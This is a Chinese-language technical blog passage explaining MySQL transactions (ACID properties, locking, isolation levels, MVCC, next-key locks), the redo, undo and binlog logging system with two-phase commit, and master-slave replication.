
原子性

事務的原子性就如原子操作一般,表示事務不可再分,其中的操作要麼都做,要麼都不做;如果事務中一個SQL語句執行失敗,則已執行的語句也必須回滾,數據庫退回到事務前的狀態。只有0和1,沒有其它值。

事務的原子性表明事務就是一個整體,當事務無法成功執行的時候,需要將事務中已經執行過的語句全部回滾,使得數據庫回歸到最初未開始事務的狀態。

事務的原子性就是通過undo log日誌進行實現的。當事務需要進行回滾時,InnoDB引擎就會調用undo log日誌進行SQL語句的撤銷,實現數據的回滾。

持久性

事務的持久性是指當事務提交之後,數據庫的改變就應該是永久性的,而不是暫時的。這也就是說,當事務提交之後,任何其它操作甚至是系統的宕機故障都不會對原來事務的執行結果產生影響。

事務的持久性是通過InnoDB存儲引擎中的redo log日誌來實現的,具體實現思路見下文。

隔離性

原子性和持久性是單個事務本身層面的性質,而隔離性是指事務之間應該保持的關係。隔離性要求不同事務之間的影響是互不干擾的,一個事務的操作與其它事務是相互隔離的。

由於事務可能並不只包含一條SQL語句,所以在事務的執行期間很有可能會有其它事務開始執行。因此多事務的併發性就要求事務之間的操作是相互隔離的。這一點跟多線程之間數據同步的概念有些類似。

鎖機制

事務之間的隔離,是通過鎖機制實現的。當一個事務需要對數據庫中的某行數據進行修改時,需要先給數據加鎖;加了鎖的數據,其它事務是不運行操作的,只能等待當前事務提交或回滾將鎖釋放。

鎖機制並不是一個陌生的概念,在許多場景中都會利用到不同實現的鎖對數據進行保護和同步。而在MySQL中,根據不同的劃分標準,還可將鎖分為不同的種類。

按照粒度劃分:行鎖、表鎖、頁鎖

按照使用方式劃分:共享鎖、排它鎖

按照思想劃分:悲觀鎖、樂觀鎖

鎖機制的知識點很多,由於篇幅不好全部展開講。這裏對按照粒度劃分的鎖進行簡單介紹。

粒度:指數據倉庫的數據單位中保存數據的細化或綜合程度的級別。細化程度越高,粒度級就越小;相反,細化程度越低,粒度級就越大。

MySQL按照鎖的粒度劃分可以分為行鎖、表鎖和頁鎖。

行鎖:粒度最小的鎖,表示只針對當前操作的行進行加鎖;

表鎖:粒度最大的鎖,表示當前的操作對整張表加鎖;

頁鎖:粒度介於行級鎖和表級鎖中間的一種鎖,表示對頁進行加鎖。

這三種鎖是在不同層次上對數據進行鎖定,由於粒度的不同,其帶來的好處和劣勢也不一而同。

表鎖在操作數據時會鎖定整張表,因而併發性能較差;

行鎖則只鎖定需要操作的數據,併發性能好。但是由於加鎖本身需要消耗資源(獲得鎖、檢查鎖、釋放鎖等都需要消耗資源),因此在鎖定數據較多情況下使用表鎖可以節省大量資源。

MySQL中不同的存儲引擎能夠支持的鎖也是不一樣的。MyIsam只支持表鎖,而InnoDB同時支持表鎖和行鎖,且出於性能考慮,絕大多數情況下使用的都是行鎖。

併發讀寫問題

在併發情況下,MySQL的同時讀寫可能會導致三類問題,臟讀、不可重複度和幻讀。

(1)臟讀:當前事務中讀到其他事務未提交的數據,也就是臟數據。

以上圖為例,事務A在讀取文章的閱讀量時,讀取到了事務B為提交的數據。如果事務B最後沒有順利提交,導致事務回滾,那麼實際上閱讀量並沒有修改成功,而事務A卻是讀到的修改后的值,顯然不合情理。

(2)不可重複讀:在事務A中先後兩次讀取同一個數據,但是兩次讀取的結果不一樣。臟讀與不可重複讀的區別在於:前者讀到的是其他事務未提交的數據,後者讀到的是其他事務已提交的數據。

以上圖為例,事務A在先後讀取文章閱讀量的數據時,結果卻不一樣。說明事務A在執行的過程中,閱讀量的值被其它事務給修改了。這樣使得數據的查詢結果不再可靠,同樣也不合實際。

(3)幻讀:在事務A中按照某個條件先後兩次查詢數據庫,兩次查詢結果的行數不同,這種現象稱為幻讀。不可重複讀與幻讀的區別可以通俗的理解為:前者是數據變了,後者是數據的行數變了。

以上圖為例,當對0<閱讀量<100的文章進行查詢時,先查到了一個結果,後來查詢到了兩個結果。這表明同一個事務的查詢結果數不一,行數不一致。這樣的問題使得在根據某些條件對數據篩選的時候,前後篩選結果不具有可靠性。

隔離級別

根據上面這三種問題,產生了四種隔離級別,表明數據庫不同程度的隔離性質。

在實際的數據庫設計中,隔離級別越高,導致數據庫的併發效率會越低;而隔離級別太低,又會導致數據庫在讀寫過程中會遇到各種亂七八糟的問題。

因此在大多數數據庫系統中,默認的隔離級別時讀已提交(如Oracle)或者可重複讀RR(MySQL的InnoDB引擎)。

MVCC

又是一個難嚼的大塊頭。MVCC就是用來實現上面的第三個隔離級別,可重複讀RR。

MVCC:Multi-Version Concurrency Control,即多版本的併發控制協議。

MVCC的特點就是在同一時刻,不同事務可以讀取到不同版本的數據,從而可以解決臟讀和不可重複讀的問題。

MVCC實際上就是通過數據的隱藏列和回滾日誌(undo log),實現多個版本數據的共存。這樣的好處是,使用MVCC進行讀數據的時候,不用加鎖,從而避免了同時讀寫的衝突。

在實現MVCC時,每一行的數據中會額外保存幾個隱藏的列,比如當前行創建時的版本號和刪除時間和指向undo log的回滾指針。這裏的版本號並不是實際的時間值,而是系統版本號。每開始新的事務,系統版本號都會自動遞增。事務開始時的系統版本號會作為事務的版本號,用來和查詢每行記錄的版本號進行比較。

每個事務又有自己的版本號,這樣事務內執行數據操作時,就通過版本號的比較來達到數據版本控制的目的。

另外,InnoDB實現的隔離級別RR時可以避免幻讀現象的,這是通過next-key lock機制實現的。這裏簡單講講吧。

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next-key lock實際上就是行鎖的一種,只不過它不只是會鎖住當前行記錄的本身,還會鎖定一個範圍。比如上面幻讀的例子,開始查詢0<閱讀量<100的文章時,只查到了一個結果。next-key lock會將查詢出的這一行進行鎖定,同時還會對0<閱讀量<100這個範圍進行加鎖,這實際上是一種間隙鎖。間隙鎖能夠防止其他事務在這個間隙修改或者插入記錄。這樣一來,就保證了在0<閱讀量<100這個間隙中,只存在原來的一行數據,從而避免了幻讀。

間隙鎖:封鎖索引記錄中的間隔

雖然InnoDB使用next-key lock能夠避免幻讀問題,但卻並不是真正的可串行化隔離。再來看一個例子吧。

首先提一個問題,在T6事務A提交事務之後,猜一猜文章A和文章B的閱讀量為多少?

答案是,文章AB的閱讀量都被修改成了10000。這代表着事務B的提交實際上對事務A的執行產生了影響,表明兩個事務之間並不是完全隔離的。雖然能夠避免幻讀現象,但是卻沒有達到可串行化的級別。

這還說明,避免臟讀、不可重複讀和幻讀,是達到可串行化的隔離級別的必要不充分條件。可串行化是都能夠避免臟讀、不可重複讀和幻讀,但是避免臟讀、不可重複讀和幻讀卻不一定達到了可串行化。

一致性

一致性是指事務執行結束后,數據庫的完整性約束沒有被破壞,事務執行的前後都是合法的數據狀態。

一致性是事務追求的最終目標:前面提到的原子性、持久性和隔離性,都是為了保證數據庫狀態的一致性。

這就不多說了吧。你細品。

4 MySQL日誌系統

了解完MySQL的基本架構,大體上能夠對MySQL的執行流程有了比較清晰的認知。接下來我將在講述MySQL事務之前,先為大家介紹以下日誌系統,以方便之後更好的理解事務的特性和實現。

MySQL日誌系統是數據庫的重要組件,用於記錄數據庫的更新和修改。若數據庫發生故障,可通過不同日誌記錄恢複數據庫的原來數據。因此實際上日誌系統直接決定着MySQL運行的魯棒性和穩健性。

MySQL的日誌有很多種,如二進制日誌(binlog)、錯誤日誌、查詢日誌、慢查詢日誌等,此外InnoDB存儲引擎還提供了兩種日誌:redo log(重做日誌)和undo log(回滾日誌)。這裏將重點針對InnoDB引擎,對重做日誌、回滾日誌和二進制日誌這三種進行分析。

重做日誌(redo log)

重做日誌(redo log)是InnoDB引擎層的日誌,用來記錄事務操作引起數據的變化,記錄的是數據頁的物理修改。

重做日記的作用其實很好理解,我打個比方。數據庫中數據的修改就好比你寫的論文,萬一哪天論文丟了怎麼呢?以防這種不幸的發生,我們可以在寫論文的時候,每一次修改都拿個小本本記錄一下,記錄什麼時間對某一頁進行了怎麼樣的修改。這就是重做日誌。

InnoDB引擎對數據的更新,是先將更新記錄寫入redo log日誌,然後會在系統空閑的時候或者是按照設定的更新策略再將日誌中的內容更新到磁盤之中。這就是所謂的預寫式技術(Write Ahead logging)。這種技術可以大大減少IO操作的頻率,提升數據刷新的效率。

臟數據刷盤

值得注意的是,redo log日誌的大小是固定的,為了能夠持續不斷的對更新記錄進行寫入,在redo log日誌中設置了兩個標誌位置,checkpointwrite_pos,分別表示記錄擦除的位置和記錄寫入的位置。redo log日誌的數據寫入示意圖可見下圖。

write_pos標誌到了日誌結尾時,會從結尾跳至日誌頭部進行重新循環寫入。所以redo log的邏輯結構並不是線性的,而是可看作一個圓周運動。write_poscheckpoint中間的空間可用於寫入新數據,寫入和擦除都是往後推移,循環往複的。

write_pos追上checkpoint時,表示redo log日誌已經寫滿。這時不能繼續執行新的數據庫更新語句,需要停下來先刪除一些記錄,執行checkpoint規則騰出可寫空間。

checkpoint規則:checkpoint觸發后,將buffer中臟數據頁和臟日誌頁都刷到磁盤。

臟數據:指內存中未刷到磁盤的數據。

redo log中最重要的概念就是緩衝池buffer pool,這是在內存中分配的一個區域,包含了磁盤中部分數據頁的映射,作為訪問數據庫的緩衝。

當請求讀取數據時,會先判斷是否在緩衝池命中,如果未命中才會在磁盤上進行檢索後放入緩衝池;

當請求寫入數據時,會先寫入緩衝池,緩衝池中修改的數據會定期刷新到磁盤中。這一過程也被稱之為刷臟

因此,當數據修改時,除了修改buffer pool中的數據,還會在redo log中記錄這次操作;當事務提交時,會根據redo log的記錄對數據進行刷盤。如果MySQL宕機,重啟時可以讀取redo log中的數據,對數據庫進行恢復,從而保證了事務的持久性,使得數據庫獲得crash-safe能力。

臟日誌刷盤

除了上面提到的對於臟數據的刷盤,實際上redo log日誌在記錄時,為了保證日誌文件的持久化,也需要經歷將日誌記錄從內存寫入到磁盤的過程。redo log日誌可分為兩個部分,一是存在易失性內存中的緩存日誌redo log buff,二是保存在磁盤上的redo log日誌文件redo log file

為了確保每次記錄都能夠寫入到磁盤中的日誌中,每次將redo log buffer中的日誌寫入redo log file的過程中都會調用一次操作系統的fsync操作。

fsync函數:包含在UNIX系統頭文件#include <unistd.h>中,用於同步內存中所有已修改的文件數據到儲存設備。

在寫入的過程中,還需要經過操作系統內核空間的os buffer。redo log日誌的寫入過程可見下圖。

二進制日誌(binlog)

二進制日誌binlog是服務層的日誌,還被稱為歸檔日誌。binlog主要記錄數據庫的變化情況,內容包括數據庫所有的更新操作。所有涉及數據變動的操作,都要記錄進二進制日誌中。因此有了binlog可以很方便的對數據進行複製和備份,因而也常用作主從庫的同步。

這裏binlog所存儲的內容看起來似乎與redo log很相似,但是其實不然。redo log是一種物理日誌,記錄的是實際上對某個數據進行了怎麼樣的修改;而binlog是邏輯日誌,記錄的是SQL語句的原始邏輯,比如”給ID=2這一行的a字段加1 “。binlog日誌中的內容是二進制的,根據日記格式參數的不同,可能基於SQL語句、基於數據本身或者二者的混合。一般常用記錄的都是SQL語句。

這裏的物理和邏輯的概念,我的個人理解是:

物理的日誌可看作是實際數據庫中數據頁上的變化信息,只看重結果,而不在乎是通過“何種途徑”導致了這種結果;

邏輯的日誌可看作是通過了某一種方法或者操作手段導致數據發生了變化,存儲的是邏輯性的操作。

同時,redo log是基於crash recovery,保證MySQL宕機后的數據恢復;而binlog是基於point-in-time recovery,保證服務器可以基於時間點對數據進行恢復,或者對數據進行備份。

事實上最開始MySQL是沒有redo log日誌的。因為起先MySQL是沒有InnoDB引擎的,自帶的引擎是MyISAM。binlog是服務層的日誌,因此所有引擎都能夠使用。但是光靠binlog日誌只能提供歸檔的作用,無法提供crash-safe能力,所以InnoDB引擎就採用了學自於Oracle的技術,也就是redo log,這才擁有了crash-safe能力。這裏對redo log日誌和binlog日誌的特點分別進行了對比:

在MySQL執行更新語句時,都會涉及到redo log日誌和binlog日誌的讀寫。一條更新語句的執行過程如下:

從上圖可以看出,MySQL在執行更新語句的時候,在服務層進行語句的解析和執行,在引擎層進行數據的提取和存儲;同時在服務層對binlog進行寫入,在InnoDB內進行redo log的寫入。

不僅如此,在對redo log寫入時有兩個階段的提交,一是binlog寫入之前prepare狀態的寫入,二是binlog寫入之後commit狀態的寫入。

之所以要安排這麼一個兩階段提交,自然是有它的道理的。現在我們可以假設不採用兩階段提交的方式,而是採用“單階段”進行提交,即要麼先寫入redo log,后寫入binlog;要麼先寫入binlog,后寫入redo log。這兩種方式的提交都會導致原先數據庫的狀態和被恢復后的數據庫的狀態不一致。

先寫入redo log,后寫入binlog:

在寫完redo log之後,數據此時具有crash-safe能力,因此系統崩潰,數據會恢復成事務開始之前的狀態。但是,若在redo log寫完時候,binlog寫入之前,系統發生了宕機。此時binlog沒有對上面的更新語句進行保存,導致當使用binlog進行數據庫的備份或者恢復時,就少了上述的更新語句。從而使得id=2這一行的數據沒有被更新。

先寫入binlog,后寫入redo log:

寫完binlog之後,所有的語句都被保存,所以通過binlog複製或恢復出來的數據庫中id=2這一行的數據會被更新為a=1。但是如果在redo log寫入之前,系統崩潰,那麼redo log中記錄的這個事務會無效,導致實際數據庫中id=2這一行的數據並沒有更新。

由此可見,兩階段的提交就是為了避免上述的問題,使得binlog和redo log中保存的信息是一致的。

回滾日誌(undo log)

回滾日誌同樣也是InnoDB引擎提供的日誌,顧名思義,回滾日誌的作用就是對數據進行回滾。當事務對數據庫進行修改,InnoDB引擎不僅會記錄redo log,還會生成對應的undo log日誌;如果事務執行失敗或調用了rollback,導致事務需要回滾,就可以利用undo log中的信息將數據回滾到修改之前的樣子。

但是undo log不redo log不一樣,它屬於邏輯日誌。它對SQL語句執行相關的信息進行記錄。當發生回滾時,InnoDB引擎會根據undo log日誌中的記錄做與之前相反的工作。比如對於每個數據插入操作(insert),回滾時會執行數據刪除操作(delete);對於每個數據刪除操作(delete),回滾時會執行數據插入操作(insert);對於每個數據更新操作(update),回滾時會執行一個相反的數據更新操作(update),把數據改回去。undo log由兩個作用,一是提供回滾,二是實現MVCC。

5 主從複製

主從複製的概念很簡單,就是從原來的數據庫複製一個完全一樣的數據庫,原來的數據庫稱作主數據庫,複製的數據庫稱為從數據庫。從數據庫會與主數據庫進行數據同步,保持二者的數據一致性。

主從複製的原理實際上就是通過bin log日誌實現的。bin log日誌中保存了數據庫中所有SQL語句,通過對bin log日誌中SQL的複製,然後再進行語句的執行即可實現從數據庫與主數據庫的同步。

主從複製的過程可見下圖。主從複製的過程主要是靠三個線程進行的,一個運行在主服務器中的發送線程,用於發送binlog日誌到從服務器。兩外兩個運行在從服務器上的I/O線程和SQL線程。I/O線程用於讀取主服務器發送過來的binlog日誌內容,並拷貝到本地的中繼日誌中。SQL線程用於讀取中繼日誌中關於數據更新的SQL語句並執行,從而實現主從庫的數據一致。

之所以需要實現主從複製,實際上是由實際應用場景所決定的。主從複製能夠帶來的好處有:

1 通過複製實現數據的異地備份,當主數據庫故障時,可切換從數據庫,避免數據丟失。

2 可實現架構的擴展,當業務量越來越大,I/O訪問頻率過高時,採用多庫的存儲,可以降低磁盤I/O訪問的頻率,提高單個機器的I/O性能。

3 可實現讀寫分離,使數據庫能支持更大的併發。

4 實現服務器的負載均衡,通過在主服務器和從服務器之間切分處理客戶查詢的負荷。

6 總結

MySQL數據庫應該算是程序員必須掌握的技術之一了。無論是項目過程中還是面試中,MySQL都是非常重要的基礎知識。不過,對於MySQL來說,真的東西太多了。我在寫這篇文章的時候,查閱了大量的資料,發現越看不懂的越多。還真是應了那句話:

你知道的越多,不知道的也就越多。

這篇文章着重是從理論的角度去解析MySQL基本的事務和日誌系統的基本原理,我在表述的時候盡可能的避免採用實際的代碼去描述。即便是這篇將近一萬字+近二十副純手工繪製的圖解,也難以將MySQL的博大精深分析透徹。

但是我相信,對於初學者而言,這些理論能夠讓你對MySQL有一個整體的感知,讓你對“何謂關係型數據庫”這麼一個問題有了比較清晰的認知;而對於熟練掌握MySQL的大佬來說,或許本文也能夠喚醒你塵封已久的底層理論基礎,對你之後的面試也會有一定幫助。

技術這種東西沒有絕對的對錯,倘若文中有誤還請諒解,並歡迎與我討論。自主思考永遠比被動接受更有效。

7 reference

https://www.cnblogs.com/kismetv/p/10331633.html

https://www.cnblogs.com/ivy-zheng/p/11094528.html

https://blog.csdn.net/qq_39016934/article/details/90116706

https://www.jianshu.com/p/5af73b203f2a

https://www.cnblogs.com/f-ck-need-u/archive/2018/05/08/9010872.html#auto_id_2

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